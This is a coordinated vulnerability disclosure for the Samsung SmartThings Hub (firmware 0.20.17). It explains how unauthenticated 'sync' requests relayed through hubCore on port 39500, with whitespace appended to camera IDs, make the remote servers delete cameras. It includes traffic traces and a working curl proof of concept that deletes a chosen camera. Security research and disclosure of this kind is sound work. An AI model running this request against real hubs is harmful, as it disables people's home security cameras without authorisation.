### SummaryAn exploitable vulnerability exists in the remote servers of SamsungSmartThings Hub. The `hubCore` process listens on port 39500 and relaysany unauthenticated messages to SmartThings' remote servers, whichincorrectly handle camera IDs for the "sync" operation, leading toarbitrary deletion of cameras. An attacker can send an HTTP request totrigger this vulnerability.### Tested VersionsSamsung SmartThings Hub STH-ETH-250 – Firmware version 0.20.17### Product URLs[https://shop.smartthings.com/products/samsung-smartthings-hub](https://shop.smartthings.com/products/samsung-smartthings-hub)### CVSSv3 Score6.5 – CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H### CWECWE-156: Improper Neutralization of Whitespace### DetailsSamsung produces a series of devices aimed at controlling and monitoringa home, such as wall switches, LED bulbs, thermostats and cameras. Oneof those is the Samsung SmartThings Hub, a central controller thatallows an end user to use their smartphone to connect to their houseremotely and operate other devices through it. The hub board utilizesseveral systems on chips. The firmware in question is executed by ani.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-Aarchitecture.The firmware is Linux-based, and runs a series of daemons that interfacewith devices nearby via ethernet, ZigBee, Z-Wave and Bluetoothprotocols. Additionally, the `hubCore` process is responsible forcommunicating with the remote SmartThings servers via a persistent TLSconnection. These servers act as a bridge that allows for securecommunication between the smartphone application and the hub. End userscan simply install the SmartThings mobile application on theirsmartphone to control the hub remotely.One of the features of the hub is that it connects to smart cameras,configures them and looks at their livestreams. For testing, we set upthe Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestreamcan be displayed by the smartphone application by connecting either tothe remote SmartThings servers, or directly to the camera, if they'reboth in the same subnetwork.Inside the hub, the livestream is handled by the `video-core` process,which uses `ffmpeg` to connect via RTSP to the smart camera in its samelocal network, and at the same time, provides a streamable link for thesmartphone application.The remote SmartThings servers have the possibility to communicate withthe `video-core` process by sending messages in the persistent TLSconnection, established by the `hubCore` process. These messages canencapsulate an HTTP request, which `hubCore` would relay directly to theHTTP server exposed by `video-core`. The HTTP server listens on port3000, bound to the localhost address, so a local connection is needed toperform this request.While analyzing the `video-core` process, we identified the followingtraffic on port 39500, generated by `video-core` when requesting the"/sync" path [1]: [1] sync request $ curl "http://127.0.0.1:3000/sync" [2] video-core -> 127.0.0.1:39500 (hubCore) POST /videocore HTTP/1.1 Host: 127.0.0.1:39500 Accept: */* Content-Type: application/json X-ST-Application: Video-Core X-ST-Version: 1.5.3 Content-Length: 82 {"videoRequestType":"sync","cameraIds" : ["<camera-id1>", "<camera-id2>"]} [3] hubCore -> SmartThings server (dc.connect.smartthings.com:443) < sends a message embedding the HTTP request above > [4] SmartThings server (dc.connect.smartthings.com:443) -> hubCore < sends a message embedding the following HTTP response > HTTP/1.1 202 ACCEPTED Connection: close [5] 127.0.0.1:39500 (hubCore) -> video-core < forwards the HTTP response above >The `hubCore` process listens on port 39500, bound to "0.0.0.0", andsimply forwards the HTTP request [2] to the remote Samsung SmartThingsservers [3], which answer with [4]. The answer is finally forwarded backto the client [5]. Note that being `hubCore` bound to "0.0.0.0", request[1] could be omitted and request [2] could be initiated by anyone in thenetwork, without any prior authentication.In essence, the "sync" request [1] is used to make sure that the remoteservers and `video-core`'s internal database are synchronized. Allcamera IDs known by `video-core` are included in the JSON string, and if`video-core` contains a `camera-id` which doesn't exist in the remoteservers, it will be deleted. Continuing on the example, if `camera-id2`is not found by the remote servers, the following traffic can be seen: [6] SmartThings server (dc.connect.smartthings.com:443) -> hubCore < sends a message embedding the following HTTP request > DELETE /cameras/<camera-id2> HTTP/1.1 Accept: */* User-Agent: Linux UPnP/1.0 SmartThings Content-Type: application/json Connection: Close Host: 127.0.0.1:3000 [7] hubCore -> 127.0.0.1:3000 (video-core) < forwards the HTTP request above > [8] 127.0.0.1:3000 (video-core) -> hubCore HTTP/1.1 204 No Content Server: Video-Core X-ST-Application: Video-Core X-ST-Version: 1.5.3 Connection: close Content-Length: 0Request [6] is sent by the remote Samsung SmartThings servers over thepersistent TLS connection, and is thus received by the `hubCore`process, which blindly forwards it to `video-core`'s HTTP server on port3000 [7]. Request [8] is simply the answer of `video-core` to the"DELETE" request.To summarize, the flow of events when a deletion is going to take placeis: |______Sender______|___________________Hub___________________|___SmartThings Servers___ | | | [2] | sync request —|–> hubCore:39500 | | with JSON M1 | | [3] | | hubCore sends –|–> process JSON M1 | | JSON M1 | | | | [4] | | hubCore <–|— send HTTP response | | | M2 (ACCEPTED) [5] | terminate <–|— hubCore:39500 | | connection | forwards M2 | | | | [6] | | hubCore <–|— generate and send | | | HTTP request M3 | | | | [7] | | video-core:3000 <–|— hubCore sends | | | | HTTP request M3 | | | | | [8] | | video-core:3000 —|–> hubCore | | | | |Where "Sender" can either be the hub itself (that is `video-core`, asshown in request [2]) or anyone in the network.As we can see, a portion of request [2] is included in request [6]: the`<camera-id2>`. In fact, it is first present in message M1, and is thenpropagated till `video-core` where it is sent inside M3.We noticed that the remote server does not strip whitespace charactersappended to the `<camera-id>` values sent in M1. This causes the remoteservers to fail, recognizing an existing camera, which in turn,initiates the deletion procedure for the requested camera ID. The`<camera-id>` will be inserted in M3 without modifications (that is, ifit is still including any whitespace character), which will be discardedby `video-core`'s HTTP server. Thus, by appending one or more spaces atthe end of a valid camera ID, anyone would be able to delete a camerafrom the hub without authentication.Moreover, note that if message M1 only contains camera IDs unknown tothe remote servers, the denial of service would not be permanent and anattacker would need to send the "sync" message continuously. In fact, inthis case remote servers, noticing that the the hub would have an emptycamera list, will re-add all cameras known remotely by sending a "POST/cameras" request following request [8].We found two different ways to avoid this:- Sending multiple "sync" requests in a short time could hit a race condition between the deletion and the creation of the camera. In this case, the creation request is discarded and the hub is left without any camera.- Sending the same camera ID twice in the same request, adding a space to the last camera ID. This will trick the servers into not sending the creation request because the hub is thought to still have a valid camera ID (the first one), while requesting for the deletion of the second camera ID (equal to the first one plus a whitespace). An example is shown in the proof of concept below.### Exploit Proof of ConceptThe following proof of concept shows how to delete an arbitrary camera,given its "cameraId". $ curl -i -X POST "http://${hubIP}:39500/videocore" -d '{"videoRequestType":"sync","cameraIds" : ["'${sCameraId}'", "'${sCameraId}' "]}'The request received by `video-core` is: DELETE /cameras/<cameraId> HTTP/1.1 Accept: */* User-Agent: Linux UPnP/1.0 SmartThings Content-Type: application/json Connection: Close Host: 127.0.0.1:3000Notice the additional space between the camera ID and the "HTTP/1.1"string, which will be discarded by the HTTP server.### Timeline * 2018-04-25 – Vendor Disclosure * 2018-05-23 – Discussion with vendor/review of timeline for disclosure * 2018-07-17 – Vendor patched * 2018-07-26 – Public Release